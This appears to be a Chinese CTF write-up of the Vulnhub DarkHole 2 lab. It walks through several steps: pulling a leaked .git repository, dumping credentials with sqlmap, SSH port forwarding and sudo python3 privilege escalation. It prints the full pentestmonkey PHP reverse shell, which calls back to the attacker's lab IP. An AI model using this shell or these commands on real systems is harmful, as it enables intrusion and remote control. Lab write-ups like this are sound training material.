Vulnhub-DARKHOLE: 2

一、概要

靶机地址:192.168.64.137
攻击机地址:192.168.64.128
靶机下载地址:https://download.vulnhub.com/darkhole/darkhole_2.zip

二、主机发现

扫描局域网主机,找到靶机ip

三、信息收集

1、git源码泄露

nmap扫描一下,22端口ssh服务和80端口web服务是开着的

根据扫描的信息显示,web服务是有git源码泄露的

使用wget将泄露的git源码下载下来

wget -r http://192.168.64.137:80/.git/

2、git log查看日志

使用git log查看日志

明显发现对login.php做了修改

添加了具有默认登录凭证的的login.php文件

3、git show得到账号密码

git show查看一下

得到账号密码

mail:lush@admin.com
password:321

登录成功

四、渗透测试

1、SQL注入

sqlmap直接对url进行SQL注入爆破,但是这里需要带上cookie

sqlmap -u "http://192.168.64.137/dashboard.php?id=1" --cookie PHPSESSID=gs3not6v81071sja60eocnbci2 -dbs --batch

爆破表

sqlmap -u "http://192.168.64.137/dashboard.php?id=1" --cookie PHPSESSID=gs3not6v81071sja60eocnbci2 -D darkhole_2 --tables --batch

最后爆出来ssh表的内容

sqlmap -u "http://192.168.64.137/dashboard.php?id=1" --cookie PHPSESSID=gs3not6v81071sja60eocnbci2 -D darkhole_2 -T ssh --dump --batch
username:jehad
password:fool

2、ssh连接

使用上面这个账号密码登录一下ssh服务

ssh服务连接成功

查看一下当前目录下文件

查看这个bash_history文件发现了可疑的地方

3、端口转发

看上去应该是进行了一下端口转发

查看一下定时任务就可以看到详细信息

cat /etc/crontab

查看进程也可以

pa -ef | grep 9999

网络状态也是可以的

netstat -pantu | grep LISTEN

来到对应目录,查看文件

可以看到这是一个很明显的马

将9999端口转发到本地

ssh -L 9999:127.0.0.1:9999 jehad@192.168.64.137

可以正常执行那个木马

4、反弹shell

在下面的网站生成一个php反弹shell木马

Online - Reverse Shell Generator (revshells.com)

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
a
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.64.128';
$port = 9999;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
    $pid = pcntl_fork();
    
    if ($pid == -1) {
        printit("ERROR: Can't fork");
        exit(1);
    }
    
    if ($pid) {
        exit(0);  // Parent exits
    }
    if (posix_setsid() == -1) {
        printit("Error: Can't setsid()");
        exit(1);
    }

    $daemon = 1;
} else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
    if (feof($sock)) {
        printit("ERROR: Shell connection terminated");
        break;
    }

    if (feof($pipes[1])) {
        printit("ERROR: Shell process terminated");
        break;
    }

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
    if (!$daemon) {
        print "$string\n";
    }
}

?>

从攻击机wget获取过来执行

执行之前kali要开启端口监听

得到shell

python获取一下交互式命令行

5、FirstBlood

得到第一个flag

6、另一个用户的密码

从当前目录下的.bash_history文件下发现密码

查看用户权限,python3就是root权限

7、提权

直接提权

sudo python3 -c 'import pty;pty.spawn("/bin/bash")'

五、总结

1、git源码泄露可以用git相关命令,比如git log和git show,都可以快速定位敏感信息
2、sqlmap进行测试时,有时网站需要指定cookie
3、ssh -L可以进行端口转发,语法类参考ssh -L 9999:127.0.0.1:9999 jehad@192.168.64.137
4、脚本反弹shell
5、.bash_history很有可能隐藏着敏感信息
6、简单的sudo提权

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值